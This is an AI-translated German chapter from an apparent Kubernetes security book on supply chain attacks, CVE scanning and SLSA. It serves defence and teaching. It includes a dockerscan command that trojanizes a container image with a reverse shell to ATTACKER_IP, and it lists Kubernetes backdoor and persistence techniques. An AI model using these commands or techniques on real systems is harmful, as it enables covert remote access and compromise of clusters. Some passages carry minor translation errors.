Kapitel 4. Anwendungen und Lieferkette

Diese Arbeit wurde mithilfe von KI übersetzt. Wir freuen uns über dein Feedback und deine Kommentare: translation-feedback@oreilly.com

DieKompromittierung der SUNBURST-Lieferkette war ein feindliches Eindringen in die Netzwerke der US-Regierung und der Fortune-500-Unternehmen über Malware, die in einem rechtmäßig signierten, kompromittierten Server-Überwachungsagenten versteckt war. Die Hackergruppe Cozy Bear setzte die in diesem Kapitel beschriebenen Techniken ein, um viele milliardenschwere Unternehmen gleichzeitig zu kompromittieren. Die Angreifer setzten ihre Prioritäten auf hochrangige Ziele, so dass kleinere Unternehmen den potenziell verheerenden Folgen des Einbruchs entgangen sein könnten.

Unternehmen, die von den Angreifern ins Visier genommen wurden, erlitten Datenverluste und wurden möglicherweise als Sprungbrett für weitere Angriffe auf ihre eigenen Kunden genutzt. Das ist das wesentliche Risiko einer "vertrauenswürdigen" Lieferkette: Jeder, der etwas konsumiert, das du produzierst, wird zu einem potenziellen Ziel, wenn du kompromittiert wirst. Die etablierte Vertrauensbeziehung wird ausgenutzt, und so wird bösartiger Software ungewollt vertraut.

Oft gibt es für Schwachstellen , für die ein Exploit existiert, keinen entsprechenden Software-Patch oder Workaround. Nachforschungen von Palo Alto haben ergeben, dass dies bei 80 % der neuen, öffentlichen Sicherheitslücken der Fall ist. Angesichts dieses Risikos für die gesamte laufende Software ist es die wichtigste Verteidigungslinie, böswilligen Akteuren den Zugang zu deinen internen Netzwerken zu verwehren.

Der SUNBURST-Angriff infizierte die SolarWinds Build-Pipelines und veränderte den Quellcode unmittelbar vor der Erstellung, versteckte dann die Beweise für die Manipulation und stellte sicher, dass die Binärdatei vom CI/CD-System signiert wurde, damit die Kunden ihr vertrauen.

Diese Techniken waren zuvor im Mitre ATT&CK Framework nicht zu sehen, und die Angriffe kompromittierten Netzwerke, die für Militär-, Regierungs- und Unternehmensgeheimnisse geplündert wurden - alles ermöglicht durch den ursprünglichen Angriff auf die Lieferkette. Die Aufgabe der Supply Chain Security ist es, zu verhindern, dass der schändliche, gerissene Captain Hashjack und seine Kumpels über Abhängigkeiten (Bibliotheken, Tools oder andere) heimlich in das Netzwerk des Unternehmens eindringen: den Schutz unserer Quellen.

captain

In diesem Kapitel tauchen wir in die Angriffe auf die Lieferkette ein, indem wir uns einige historische Probleme ansehen und wie sie ausgenutzt wurden, um dann zu sehen, wie Container die Risiken in der Lieferkette entweder sinnvoll eingrenzen oder gefährlich verschärfen können. In "Verteidigung gegen SUNBURST" stellen wir die Frage: Hätten wir ein cloudbasiertes System vor SUNBURST schützen können?

Für Berufskriminelle wie Captain Hashjack bietet die Lieferkette eine neue Möglichkeit, die Systeme von BCTL anzugreifen: Angriffe über Proxys, um vertrauenswürdigen Zugang zu deinen Systemen zu erhalten. Das bedeutet, dass sie die Lieferkette von Containersoftware angreifen, um die Fernkontrolle über anfällige Workloads und Server zu erlangen, und dass sie Exploits und Hintertüren im gesamten Unternehmen einschleusen.

Standardwerte

Wenn nicht gezielt und entschärft wird, sind Angriffe auf die Lieferkette relativ einfach: Sie betreffen vertrauenswürdige Teile unseres Systems, die wir normalerweise nicht direkt beobachten würden, wie die CI/CD-Muster unserer Zulieferer.

Dies ist ein komplexes Problem, wie wir in diesem Kapitel erörtern werden. Da sich die Angreifertechniken weiterentwickeln und die nativen Cloud-Systeme angepasst werden, wirst du sehen, wie sich die Risiken in der Lieferkette während der Entwicklung, der Tests, der Verteilung und der Laufzeit verändern.

Bedrohungsmodell

Die meisten Anwendungen sind nicht standardmäßig gehärtet, und du musst Zeit darauf verwenden, sie zu sichern. Der OWASP Application Security Verification Standard bietet Anleitungen zur Anwendungssicherheit (AppSec), auf die wir hier nicht weiter eingehen wollen, außer zu sagen: Du willst Angreifern das Leben nicht leicht machen, indem du veraltete oder fehlerhafte Software einsetzt. Strenge Logik- und Sicherheitstests sind für jede Software, die du einsetzt, unerlässlich.

Das reicht vom Programmierstil deiner Entwickler und den Sicherheitsstandards für Webanwendungen bis hin zur Lieferkette für alles, was sich im Container selbst befindet. Um sie sicher zu machen und zu gewährleisten, dass sie auch bei Updates sicher sind, ist ein hoher technischer Aufwand erforderlich.

Abhängigkeiten im SDLC sind besonders anfällig für Angriffe und bieten Captain Hashjack die Möglichkeit, bösartigen Code (die "Nutzlast") auszuführen:

  • Bei der Installation (Paketmanager-Hooks, die möglicherweise als root ausgeführt werden)

  • Während der Entwicklung und Prüfung (IDEs, Builds und Ausführung von Tests)

  • Zur Laufzeit (lokale, Entwicklungs-, Staging- und Produktions-Kubernetes-Pods)

Wenn eine Nutzlast ausgeführt wird, kann sie weiteren Code in das Dateisystem schreiben oder Malware aus dem Internet ziehen. Er kann nach Daten auf dem Laptop eines Entwicklers, einem CI-Server oder der Produktion suchen. Die erbeuteten Anmeldedaten bilden die nächste Phase des Angriffs.

Und Anwendungen sind nicht die einzige Software, die gefährdet ist: Da Infrastruktur, Richtlinien und Sicherheit als Code definiert sind, muss jeder geskriptete oder automatisierte Punkt des Systems, den ein Angreifer infiltrieren kann, berücksichtigt werden und fällt somit in den Bereich deines Bedrohungsmodells.

Die Lieferkette

Softwareversorgung ketten(Abbildung 4-1) berücksichtigen die Bewegung deiner Dateien: Quellcode, Anwendungen, Daten. Sie können im Klartext, verschlüsselt, auf einer Diskette oder in der Cloud sein.

Lieferketten gibt es für alles, was aus anderen Dingen besteht - zum Beispiel für etwas, das Menschen zu sich nehmen (Lebensmittel, Medikamente), das sie benutzen (eine CPU, Autos) oder mit dem sie interagieren (ein Betriebssystem, Open-Source-Software). Jeder Warenaustausch kann als Lieferkette modelliert werden, und manche Lieferketten sind riesig und komplex.

haku 0401
Abbildung 4-1. Ein Netz von Lieferketten; angepasst von https://oreil.ly/r9ndi

Jede Abhängigkeit die du verwendest, ist potenziell ein bösartiges Implantat, das darauf wartet, in deinen Systemen ausgeführt zu werden, um seine Nutzlast zu entfalten. Container Lieferketten sind lang und können Folgendes beinhalten:

  • Das Basisbild/die Basisbilder

  • Installierte Betriebssystem-Pakete

  • Anwendungscode und Abhängigkeiten

  • Öffentliche Git Repositories

  • Open Source Artefakte

  • Beliebige Dateien

  • Alle anderen Daten, die hinzugefügt werden können

Wenn deiner Lieferkette auf irgendeiner Stufe Schadcode hinzugefügt wird, kann er in einem laufenden Container in deinem Kubernetes-Cluster in den ausführbaren Speicher geladen werden. Das ist das Ziel von Captain Hashjack mit bösartigen Payloads: bösartigen Code in deine vertrauenswürdige Software einzuschleusen und ihn zu nutzen, um einen Angriff von innerhalb der Grenzen deines Unternehmens zu starten, wo du deine Systeme vielleicht nicht so gut verteidigt hast, weil du davon ausgegangen bist, dass die "Grenzen" Angreifer fernhalten werden.

Jedes Glied einer Lieferkette hat einen Produzenten und einen Konsumenten. In Tabelle 4-1 ist der Hersteller des CPU-Chips der Produzent und der nächste Abnehmer ist der Händler. In der Praxis kann es auf jeder Stufe der Lieferkette mehrere Produzenten und Verbraucher geben.

Tabelle 4-1. Unterschiedliche Beispiel-Lieferketten
Lebensmittel vom Bauernhof CPU-Chip Ein Open-Source-Softwarepaket Die Server deines Unternehmens

Originalhersteller

Landwirte (Saatgut, Futtermittel, Erntehelfer)

Hersteller (Rohmaterial, Fertigung, Firmware)

Open-Source-Paketentwickler (Einfallsreichtum, Code)

Open-Source-Software, Original-Quellcode in internem CI/CD erstellt

(Links zu)

Vertriebshändler (Verkauf an Geschäfte oder andere Händler)

Vertriebshändler (Verkauf an Geschäfte oder andere Händler)

Repository Maintainer (npm, PyPi, etc.)

Signierte Code-Artefakte, die über das Netzwerk an die produktionsnahe Registry übermittelt werden

(Links zu)

Lokaler Lebensmittelladen

Anbieter oder lokaler Computerladen

Entwickler

Artefakte im Ruhezustand in der Registry bereit für die Bereitstellung

Verbindungen zum Endverbraucher

Endverbraucher

Endverbraucher

Endverbraucher

Neueste Artefakte, die in Produktionssystemen eingesetzt werden

Jede Stufe der Lieferkette, die nicht unter deiner direkten Kontrolle steht, kann angegriffen werden(Abbildung 4-2). Eine Kompromittierung einer "vorgelagerten" Stufe, zum Beispiel einer, die du konsumierst, kann sich auf dich als nachgelagerten Verbraucher auswirken.

Ein Open-Source-Softwareprojekt (Abbildung 4-3) kann zum Beispiel drei Mitwirkende (oder "vertrauenswürdige Produzenten") haben, die berechtigt sind, externe Codebeiträge in die Codebasis einzubinden. Wenn das Passwort eines dieser Mitwirkenden gestohlen wird, kann ein Angreifer seinen eigenen bösartigen Code in das Projekt einfügen. Wenn deine Entwickler diese Abhängigkeit dann in ihre Codebasis aufnehmen, führen sie den schädlichen Code des Angreifers auf deinen internen Systemen aus.

Similarity between supply chains
Abbildung 4-2. Ähnlichkeit zwischen Lieferketten
Open source supply chain attack
Abbildung 4-3. Angriff auf die Open-Source-Lieferkette

Aber die Kompromittierung muss nicht zwangsläufig bösartig sein. Wie bei der Schwachstelle in npm event-stream ist manchmal etwas so Unschuldiges wie jemand, der die Verantwortung für die Wartung an einen bestehenden und glaubwürdigen Betreuer weitergeben möchte, der dann abtrünnig wird und seine eigene Nutzlast einfügt.

Hinweis

In diesem Fall wurde das verwundbare Paket event-stream 12 Millionen Mal heruntergeladen und war von mehr als 1.600 anderen Paketen abhängig. Die Nutzlast suchte nach "Hot Cryptocurrency Wallets", um sie von den Rechnern der Entwickler zu stehlen. Wären stattdessen SSH- und GPG-Schlüssel gestohlen und zur weiteren Verbreitung des Angriffs verwendet worden, hätte die Gefährdung noch viel größer sein können.

Ein erfolgreicher Angriff auf die Lieferkette ist oft schwer zu erkennen, da ein Verbraucher jedem vorgelagerten Produzenten vertraut. Wenn ein einzelner Produzent kompromittiert wird, kann der Angreifer einzelne nachgelagerte Verbraucher ins Visier nehmen oder nur die Ziele mit dem höchsten Wert auswählen.

Software

Für unsere Zwecke sind die Lieferketten, die wir in Anspruch nehmen, für Software und Hardware. In einer Cloud-Umgebung werden die physische Sicherheit und die Netzwerksicherheit eines Rechenzentrums vom Anbieter verwaltet, aber es liegt in deiner Verantwortung, deine Nutzung des Systems zu sichern. Das bedeutet, dass wir darauf vertrauen können, dass die Hardware, die wir nutzen, sicher ist. Unser Umgang damit - die Software, die wir installieren, und ihr Verhalten - ist der Punkt, an dem das Risiko in der Lieferkette beginnt.

Software wird aus vielen anderen Teilen von Software zusammengesetzt. Im Gegensatz zur CPU-Fertigung, bei der träge Komponenten zu einer Struktur zusammengesetzt werden, ist Software eher eine symbiotische Population kooperierender Organismen. Jede Komponente kann autonom sein und sich für die Zusammenarbeit entscheiden (CLI-Tools, Server, Betriebssystem) oder nutzlos sein, wenn sie nicht auf eine bestimmte Art und Weise verwendet wird (glibc, verlinkte Bibliotheken, die meisten Anwendungsabhängigkeiten). Jede Software kann autonom oder kooperativ sein, und es ist unmöglich, eindeutig zu beweisen, was von beiden zu einem bestimmten Zeitpunkt zutrifft. Das bedeutet, dass Testcode (Unit-Tests, Akzeptanztests) immer noch bösartigen Code enthalten kann, der die Continuous Integration (CI)-Build-Umgebung oder den Rechner des Entwicklers, auf dem er ausgeführt wird, erforschen würde.

Das wirft ein Rätsel auf: Wenn bösartiger Code in jedem Teil eines Systems versteckt werden kann, wie können wir dann schlüssig sagen, dass das gesamte System sicher ist?

Wie Liz Rice in Container Security (O'Reilly) darlegt:

Es ist sehr wahrscheinlich, dass jede nicht-triviale Software einige Schwachstellen enthält, und es besteht das Risiko, dass Systeme über diese Schwachstellen angegriffen werden. Um dieses Risiko in den Griff zu bekommen, musst du in der Lage sein, die vorhandenen Schwachstellen zu erkennen und ihren Schweregrad einzuschätzen, sie nach Prioritäten zu ordnen und Prozesse zu entwickeln, um diese Probleme zu beheben oder zu entschärfen.

Das Management der Software-Lieferkette ist schwierig. Du musst ein gewisses Maß an Risiko in Kauf nehmen und sicherstellen, dass angemessene Maßnahmen ergriffen werden, um gefährliche Software zu erkennen, bevor sie in deinen Systemen ausgeführt wird. Diesem Risiko steht ein abnehmender Nutzen gegenüber - mit jeder Kontrolle wird es teurer und schwieriger, sie aufrechtzuerhalten, und jeder Schritt ist mit höheren Kosten verbunden.

Warnung

Volles Vertrauen in deine Lieferkette ist fast unmöglich ohne das gesamte Spektrum an Kontrollen, die im Papier der CNCF Security Technical Advisory Group zur Sicherheit in der Software-Lieferkette beschrieben sind (siehe weiter unten in diesem Kapitel).

Wie immer gehst du davon aus, dass keine Kontrolle vollkommen effektiv ist, und lässt Intrusion Detection auf den Build-Maschinen als letzte Verteidigungslinie gegen gezielte oder weit verbreiteteZero-Day-Schwachstellen laufen, zu denen SUNBURST, Shellshock oder DirtyCOW gehören könnten (siehe "Architektur von containerisierten Apps für Resilienz").

Jetzt wollen wir uns ansehen, wie wir eine Software-Lieferkette absichern können. Wir beginnen mit dem Minimum an praktikabler Cloud Native Security: dem Scannen nach CVEs.

Scannen nach CVEs

CVEs werden für bekannte Schwachstellen veröffentlicht, und es ist wichtig, dass du der grausamen Crew von Captain Hashjack keinen leichten Zugang zu deinen Systemen gewährst, indem du sie ignorierst oder fehlschlägst, um sie zu patchen. Open-Source-Software listet ihre Abhängigkeiten in den Build-Anweisungen auf(pom.xml, package.json, go.mod, requirements.txt, Gemfile usw.), was uns einen Einblick in ihre Zusammensetzung gibt. Das bedeutet, dass du diese Abhängigkeiten mit Tools wietrivy auf CVEs überprüfen solltest. Dies ist die am niedrigsten hängende Frucht bei der Verteidigung der Lieferkette und sollte als Teil der Mindestanforderungen an die Containersicherheit betrachtet werden.

trivy kann den Code im Ruhezustand an verschiedenen Stellen scannen:

  • In einem Container-Image

  • In einem Dateisystem

  • In einem Git-Repository

Er berichtet über bekannte Schwachstellen. Das Scannen nach CVEs ist das Minimum an Sicherheit für die Auslieferung von Code an die Produktion.

Dieser Befehl durchsucht das lokale Verzeichnis und findet die Abhängigkeitsdateien gomod und npm und meldet deren Inhalt (die Ausgabe wurde entsprechend angepasst):

$ trivy fs . 1
2021-02-22T10:11:32.657+0100    INFO    Detected OS: unknown
2021-02-22T10:11:32.657+0100    INFO    Number of PL dependency files: 2
2021-02-22T10:11:32.657+0100    INFO    Detecting gomod vulnerabilities...
2021-02-22T10:11:32.657+0100    INFO    Detecting npm vulnerabilities...

infra/build/go.sum
==================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 2, CRITICAL: 0) 2

+-----------------------------+------------------+----------+-------------...
|           LIBRARY           | VULNERABILITY ID | SEVERITY |         INST...
+-----------------------------+------------------+----------+-------------...
| github.com/dgrijalva/jwt-go | CVE-2020-26160   | HIGH     | 3.2.0+incomp...
|                             |                  |          |             ...
|                             |                  |          |             ...
+-----------------------------+------------------+          +-------------...
| golang.org/x/crypto         | CVE-2020-29652   |          | 0.0.0-202006...
|                             |                  |          |             ...
|                             |                  |          |             ...
|                             |                  |          |             ...
+-----------------------------+------------------+----------+-------------...

infra/api/code/package-lock.json
==================================================
Total: 0 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0) 3
1

Führe trivy gegen das Dateisystem (fs) im aktuellen Arbeitsverzeichnis (.) aus.

2

Die Überprüfung hat zwei hochgradig gefährliche Schwachstellen in infra/build/go.sum gefunden.

3

In der Datei infra/api/code/package-lock.json wurden keine Schwachstellen entdeckt.

Wir können also Code in unserer Lieferkette daraufhin überprüfen, ob er verwundbare Abhängigkeiten hat. Aber was ist mit dem Code selbst?

Übernahme von Open-Source-Software

Die sichere Aufnahme von Code ist schwierig: Wie können wir beweisen, dass ein Container-Image aus demselben Quellcode erstellt wurde, den wir auf GitHub sehen können? Oder dass eine kompilierte Anwendung derselbe Open-Source-Code ist, den wir gelesen haben, ohne ihn aus dem Quellcode nachzubauen?

Während dies bei Open Source schwierig ist, stellt Closed Source eine noch größere Herausforderung dar.

Wie schaffen und überprüfen wir das Vertrauen zu unseren Lieferanten?

Sehr zum Entsetzen des Kapitäns wird dieses Problem seit 1983 untersucht, als Ken Thompson "Reflections on Trusting Trust" vorstellte :

Inwieweit sollte man einer Aussage vertrauen, dass ein Programm frei von Trojanern ist? Vielleicht ist es wichtiger, den Menschen zu vertrauen, die die Software geschrieben haben.

Die Frage des Vertrauens liegt vielen menschlichen Interaktionen zugrunde und ist die Grundlage des ursprünglichen Internets. Thompson fährt fort:

Die Moral ist offensichtlich. Du kannst keinem Code vertrauen, den du nicht selbst erstellt hast. (Besonders Code von Unternehmen, die Leute wie mich beschäftigen.) Keine noch so gute Überprüfung auf Quellcode-Ebene wird dich davor schützen, nicht vertrauenswürdigen Code zu verwenden... Je niedriger die Programmstufe, desto schwieriger werden diese Fehler zu entdecken. Ein gut installierter Mikrocode-Fehler wird fast unmöglich zu entdecken sein.

Diese philosophischen Fragen der Sicherheit betreffen sowohl die Lieferkette deines Unternehmens als auch deine Kunden. Das Kernproblem bleibt ungelöst und lässt sich nur schwer vollständig beheben.

Während BCTLs traditionelle Beziehung zu Software früher als Konsument definiert wurde, bist du mit dem Start von öffentlichem Open Source auf GitHub auch zum Produzenten geworden. Diese Unterscheidung gibt es heute in den meisten Unternehmen, denn die meisten haben sich nicht an ihre neue Verantwortung als Produzent angepasst.

Welchen Erzeugern vertrauen wir?

Um eine Lieferkette zu sichern, müssen wir Vertrauen in unsere Produzenten haben. Das sind Parteien außerhalb deines Unternehmens und können sein:

  • Sicherheitsanbieter wie die Root-Zertifizierungsstellen, um andere Server in einem Netzwerk zu authentifizieren, und DNSSEC, um die richtige Adresse für unsereÜbertragung zurückzugeben

  • Kryptographische Algorithmen und Implementierungen wie GPG, RSA und Diffie-Hellman, um unsere Daten bei der Übertragung und im Speicher zu sichern

  • Hardware-Enabler wie Betriebssysteme, CPU/Firmware und Treiberanbieter, die uns Low-Level-Hardware-Interaktion bieten

  • Anwendungsentwickler und Paketbetreuer, um die Installation von bösartigem Code über ihre verteilten Pakete zu verhindern

  • Open-Source- und Community-geführte Teams, Organisationen und Standardisierungsgremien, um unsere Technologien und Gemeinschaften im gemeinsamen Interesse auszubauen

  • Verkäufer, Distributoren und Handelsvertreter dürfen keine Hintertüren oder Malware installieren

  • Jeder - ohne ausnutzbare Bugs zu haben

Du fragst dich vielleicht, ob es jemals möglich ist, dies vollständig abzusichern, und die Antwort ist nein. Nichts ist jemals völlig sicher, aber alles kann so gehärtet werden, dass es für alle außer den geschicktesten Angreifern weniger attraktiv ist. Es geht darum, die verschiedenen Sicherheitsebenen auszubalancieren. Kontrollen, die Folgendes beinhalten können:

  • Physische zweite Faktoren (2FA)

    • GPG-Signierung (z. B. Yubikeys)

    • WebAuthn, FIDO2-Projekt und physische Sicherheits-Tokens (z.B. RSA)

  • Menschliche Redundanz

    • Autoren können ihre eigenen PRs nicht zusammenführen

    • Hinzufügen einer zweiten Person, die kritische Prozesse abzeichnet

  • Duplizierung, indem derselbe Prozess zweimal in verschiedenen Umgebungen ausgeführt und die Ergebnisse verglichen werden

Technische Beratungsgruppe für Sicherheit der CNCF

Die CNCF Security Technical Advisory Group (tag-security) hat ein umfassendes Papier zur Sicherheit der Software-Lieferkette veröffentlicht. Für einen detaillierten und umfassenden Einblick in das Thema wird die Lektüre dringend empfohlen:

Er bewertet viele der verfügbaren Instrumente und definiert vier Schlüsselprinzipien für die Sicherheit der Lieferkette und die entsprechenden Schritte, darunter:

  1. Vertrauen: Jeder Schritt in einer Lieferkette sollte durch eine Kombination aus kryptografischer Bescheinigung und Verifizierung "vertrauenswürdig" sein.

  2. Automatisierung: Automatisierung ist entscheidend für die Sicherheit der Lieferkette und kann die Möglichkeit menschlicher Fehler und Konfigurationsabweichungen erheblich reduzieren.

  3. Klarheit: Die Bauumgebungen in einer Lieferkette sollten klar definiert und in ihrem Umfang begrenzt sein.

  4. Gegenseitige Authentifizierung: Alle Unternehmen, die in der Lieferkette tätig sind, müssen sich gegenseitig authentifizieren, indem sie gehärtete Authentifizierungsmechanismen mit regelmäßiger Schlüsselrotation verwenden.

Bewährte Methoden für die Software-Lieferkette, Tag-Security

Anschließend werden die wichtigsten Bestandteile der Lieferkettensicherheit behandelt:

  1. Quellcode (was deine Entwickler schreiben)

  2. Materialien (Abhängigkeiten der App und ihrer Umgebung)

  3. Pipelines erstellen (zum Testen und Erstellen deiner App)

  4. Artefakte (deine App plus Testnachweise und Signaturen)

  5. Einsätze (wie deine Kunden auf deine App zugreifen)

Wenn deine Lieferkette an einem dieser Punkte gefährdet ist, können auch deine Verbraucher gefährdet sein.

Architektur von containerisierten Apps für Resilienz

Du solltest eine gegnerische Denkweise annehmen, wenn du Systeme entwirfst und baust, damit Sicherheitsaspekte mit einbezogen werden. Zu dieser Denkweise gehört auch, dass du dich über historische Schwachstellen informierst, um dich gegen ähnliche Angriffe zu schützen.

Die granulare Sicherheitsrichtlinie eines Containers bietet die Möglichkeit, Anwendungen als "standardmäßig kompromittiert" zu betrachten und sie so zu konfigurieren, dass sie besser vor Zero-Day- oder ungepatchten Schwachstellen geschützt sind.

Hinweis

Eine solche historische Schwachstelle war DirtyCOW: eine Wettlaufsituation im privilegierten Speicherzuordnungscode des Linux-Kernels, die es unprivilegierten lokalen Benutzern ermöglichte, zu Root zu werden.

Der Fehler ermöglichte es einem Angreifer, eine Root-Shell auf dem Host zu erlangen, und konnte von einem Container aus ausgenutzt werden, der ptrace nicht blockierte. Einer der Autoren hat live demonstriert, wieer einen Ausbruch aus einem DirtyCOW-Container mit einem AppArmor-Profilverhindert, das den Systemaufruf ptrace blockiert. Im Repo von Scott Coulton gibt es ein Beispiel-Vagrantfile, mit dem der Fehler reproduziert werden kann.

Trojaner aufspüren

Tools wie dockerscan können einen Container trojanisieren:

trojanisieren: eine Reverse Shell in ein Docker-Image einfügen

dockerscan

Hinweis

In "Captain Hashjack greift eine Lieferkette an" gehen wir näher auf die Angriffe auf Software und Bibliotheken ein .

Ein webserver Bild zu trojanisieren ist einfach:

$ docker save nginx:latest -o webserver.tar 1
$ dockerscan image modify trojanize webserver.tar \ 2
  --listen "${ATTACKER_IP}" --port "${ATTACKER_PORT}" 3
  --output trojanized-webserver 4
1

Exportiere einen gültigen webserver tarball aus einem Container-Image.

2

Trojanisiere den Image-Tarball.

3

Gib die Shellcatcher-IP und den Port des Angreifers an.

4

Schreibe in einen Ausgabe-Tarball namens trojanized-webserver.

Genau diese Art von Angriffen solltest du in deinen Container-Images erkennen und verhindern. dockerscan verwendet einen LD_PRELOAD Angriff, den die meisten Container-IDS und Scans erkennen sollten.

Bei der dynamischen Analyse von Software wird diese in einer Malware-Laborumgebung ausgeführt, in der sie nicht mit dem Internet kommunizieren kann und auf Anzeichen von C2 ("Command and Control"), automatisierten Angriffen oder unerwartetem Verhalten beobachtet wird.

Hinweis

Malware wie WannaCry (ein Kryptowurm) enthält einen deaktivierenden "Killswitch"-DNS-Eintrag (der manchmal heimlich von Malware-Autoren verwendet wird, um Angriffe aus der Ferne zu beenden). In einigen Fällen wird dies genutzt, um den Einsatz der Malware auf einen für den Angreifer günstigen Zeitpunkt zu verschieben.

Ein Artefakt und sein Laufzeitverhalten sollten zusammen ein Bild von der Vertrauenswürdigkeit eines einzelnen Pakets ergeben, aber es gibt Umgehungsmöglichkeiten. Logikbomben (Verhalten, das nur unter bestimmten Bedingungen ausgeführt wird) erschweren die Erkennung, es sei denn, die Logik ist bekannt. SUNBURST hat zum Beispiel die gültigen HTTP-Aufrufe der infizierten Software genau nachgeahmt. Selbst die Nachverfolgung einer kompromittierten Anwendung mit Tools wie sysdig lässt diese Art von Angriffen nicht eindeutig erkennen.

Captain Hashjack greift eine Lieferkette an

captain

Du weißt, dass BCTL nicht genug für die Sicherheit der Lieferkette getan hat. Die Aufnahme von Open Source ist nicht geregelt, und die Entwickler ignorieren die Ergebnisse der CVE-Scans in der Pipeline.

Dread Pirate Hashjack entstaubt seine Tastatur und startet den Angriff. Das Ziel ist es, bösartigen Code in ein Container-Image, ein Open-Source-Paket oder eine Betriebssystemanwendung einzuschleusen, die dein Team in der Produktion einsetzen will .

In diesem Fall versucht Captain Hashjack, den Rest deiner Systeme von einem Stützpunkt in einem ersten Pod-Angriff aus anzugreifen. Wenn der bösartige Code in deinen Pods ausgeführt wird, stellt er eine Verbindung zu einem Server her, den der Kapitän kontrolliert. Über diese Verbindung werden Angriffsbefehle an den Pod in deinem Cluster weitergeleitet, damit sich die Piraten umsehen können (siehe Abbildung 4-4).

Von dieser Position der Fernsteuerung aus könnte Captain Hashjack:

  • Andere Infrastrukturen rund um den Cluster wie Datenspeicher und interne Software aufzählen

  • Versucht, seine Privilegien zu erweitern und deine Knoten oder deinen Cluster zu übernehmen

  • Kryptowährung schürfen

  • die Pods oder Knoten zu einem Botnetz hinzufügen, sie als Server oder "Wasserstellen" zur Verbreitung von Malware nutzen

  • Jede andere unbeabsichtigte missbräuchliche Nutzung deiner nicht kompromittierten Systeme.

Establishing remote access with a supply chain compromise
Abbildung 4-4. Einrichten eines Fernzugriffs mit einer Kompromittierung der Lieferkette

Das SLSA-Framework ("Supply-chain Levels for Software Artifacts" oder "Salsa") der Open Source Security Foundation (OpenSSF)basiert auf dem Prinzip: "Es kann Jahre dauern, bis der ideale Sicherheitszustand erreicht ist, und Zwischenziele sind wichtig." Es definiert einen abgestuften Ansatz für die Einführung von Lieferkettensicherheit für deine Builds (siehe Tabelle 4-2).

Tabelle 4-2. OpenSSF SLSA-Stufen
Level Beschreibung Anforderungen

0

Keine Garantien

SLSA 0 bedeutet, dass es keine SLSA-Stufe gibt.

1

Provenienzprüfungen zur Bewertung von Risiken und Sicherheit

Der Erstellungsprozess muss vollständig geskriptet/automatisiert sein und eine Provenienz erzeugen.

2

Weitere Überprüfungen derHerkunft der Software

Erfordert die Verwendung einer Versionskontrolle und eines gehosteten Build-Dienstes, der eine authentifizierte Provenienz erzeugt. Das macht den Build-Service manipulationssicher.

3

Zusätzlicher Widerstand gegen bestimmte Klassen von Bedrohungen

Die Quell- und Build-Plattformen erfüllen bestimmte Standards, um die Überprüfbarkeit der Quelle bzw. die Integrität der Herkunft zu gewährleisten. Fortschrittlicher Schutz, einschließlich Sicherheitskontrollen auf dem Host, nicht fälschbare Herkunft und Verhinderung von Cross-Build-Kontamination.

4

Höchstes Maß an Zuversichtund Vertrauen

Strenge Überprüfbarkeit und Zuverlässigkeitskontrollen. Erfordert die Überprüfung aller Änderungen durch zwei Personen und einen hermetischen, reproduzierbaren Build-Prozess.

Kommen wir zu den Nachwirkungen.

Beharrlichkeit nach dem Kompromiss

Bevor Angreifer etwas tun, das vom Verteidiger entdeckt werden könnte, versuchen sie, eine Persistenz oder eine Hintertür einzurichten, damit sie z. B. in das System eindringen können, wenn sie entdeckt oder kurzerhand hinausgeworfen werden, weil ihre Eindringungsmethode gepatcht wurde.

Hinweis

Wenn Container neu gestartet werden, gehen Änderungen am Dateisystem verloren, so dass Persistenz nicht nur durch das Schreiben in das Container-Dateisystem möglich ist. Um eine "Hintertür" oder einen anderen Persistenzmechanismus in Kubernetes auszuschalten, muss der Angreifer andere Teile von Kubernetes oder die kubelet auf dem Host nutzen, da alles, was er innerhalb des Containers schreibt, beim Neustart verloren geht.

Je nachdem, wie du kompromittiert wurdest, hat Captain Hashjack nun verschiedene Optionen zur Verfügung. Keine davon ist in einem gut konfigurierten Container ohne übermäßige RBAC-Privilegien möglich, was den Angreifer aber nicht davon abhält, denselben Weg erneut zu beschreiten und sich einen anderen Teil deines Systems vorzunehmen.

Mögliche Persistenz in Kubernetes kann erreicht werden durch:

  • Starten eines statischen privilegierten Pods über die statischen Manifeste von kubelet

  • Einen privilegierten Container direkt über die Container-Laufzeitumgebung bereitstellen

  • Einsatz eines Admission Controllers oder CronJobs mit einer Backdoor

  • Einsatz eines Schatten-API-Servers mit benutzerdefinierter Authentifizierung

  • Hinzufügen eines mutierenden Webhooks, der einen Backdoor-Container in einige neue Pods injiziert

  • Hinzufügen von Worker- oder Control-Plane-Knoten zu einem Botnet oder C2-Netzwerk

  • Bearbeitung des Container-Lebenszyklus postStart und preStop hooks, um Backdoors hinzuzufügen

  • Bearbeiten von Liveness Probes, um eine Backdoor im Zielcontainer auszuführen

  • Jeder andere Mechanismus, der Code unter der Kontrolle des Angreifers ausführt

Risiken für deine Systeme

Sobald sie ausdauernd geworden sind, können die Angriffe mutiger undgefährlicher werden:

  • Exfiltrieren von Daten, Anmeldeinformationen und Kryptowährungs-Geldbörsen

  • Weiteres Eintauchen in das System über andere Pods, die Steuerungsebene, Worker Nodes oder das Cloud-Konto

  • Kryptojacking von Rechenressourcen (z. B. Mining von Monero in Docker-Containern)

  • Eskalierende Privilegien im selben Pod

  • Kryptolocking-Daten

  • Sekundärer Angriff in der Lieferkette auf die veröffentlichten Artefakte/Software des Ziels

Kommen wir nun zu den Container-Images .

Container-Image Lieferketten aufbauen

Deine Entwickler haben Code geschrieben, der erstellt und in der Produktion ausgeführt werden muss. CI/CD-Automatisierung ermöglicht die Erstellung und Bereitstellung von Artefakten und ist traditionell ein attraktives Ziel, da die Sicherheit weniger streng ist als bei den Produktionssystemen, auf die sie übertragen wird.

Um diese Unsicherheit zu beseitigen, setzt sich das Muster der Software Factory als Modell für den Aufbau von Pipelines zur Softwareentwicklung durch.

Software-Fabriken

Eine Software Factory ist eine Form von CI/CD , die sich auf die Selbstreplikation konzentriert. Es handelt sich um ein Build-System, das Kopien von sich selbst oder von anderen Teilen des Systems als neue CI/CD-Pipelines bereitstellen kann. Dieser Fokus auf Replikation stellt sicher, dass Build-Systeme wiederholbar, einfach zu verteilen und leicht zu ersetzen sind. Außerdem unterstützen sie die Iteration und Entwicklung der Build-Infrastruktur selbst, was die Sicherung dieser Art von Systemen erheblich erleichtert.

